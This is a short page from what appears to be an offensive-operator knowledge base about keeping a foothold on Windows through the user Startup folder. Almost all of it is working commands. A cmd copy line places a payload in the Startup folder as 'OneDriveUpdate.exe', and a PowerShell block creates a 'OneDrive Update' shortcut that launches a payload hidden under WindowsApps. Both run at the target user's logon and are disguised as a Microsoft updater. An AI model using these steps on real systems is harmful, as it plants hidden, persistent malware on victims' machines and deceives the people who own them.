Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 04. Windows / 03. Persistence / Startup Folder

User Startup

This runs when the target user logs on.

Copy a payload directly:

copy C:\Users\Public\updater.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDriveUpdate.exe"

Trigger by logging off and back on.

Startup Shortcut

A shortcut can point to a payload stored somewhere else.

$Startup = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
$ShortcutPath = Join-Path $Startup "OneDrive Update.lnk"
$Shell = New-Object -ComObject WScript.Shell
$Shortcut = $Shell.CreateShortcut($ShortcutPath)
$Shortcut.TargetPath = "$env:LOCALAPPDATA\Microsoft\WindowsApps\updater.exe"
$Shortcut.WorkingDirectory = "$env:LOCALAPPDATA\Microsoft\WindowsApps"
$Shortcut.Save()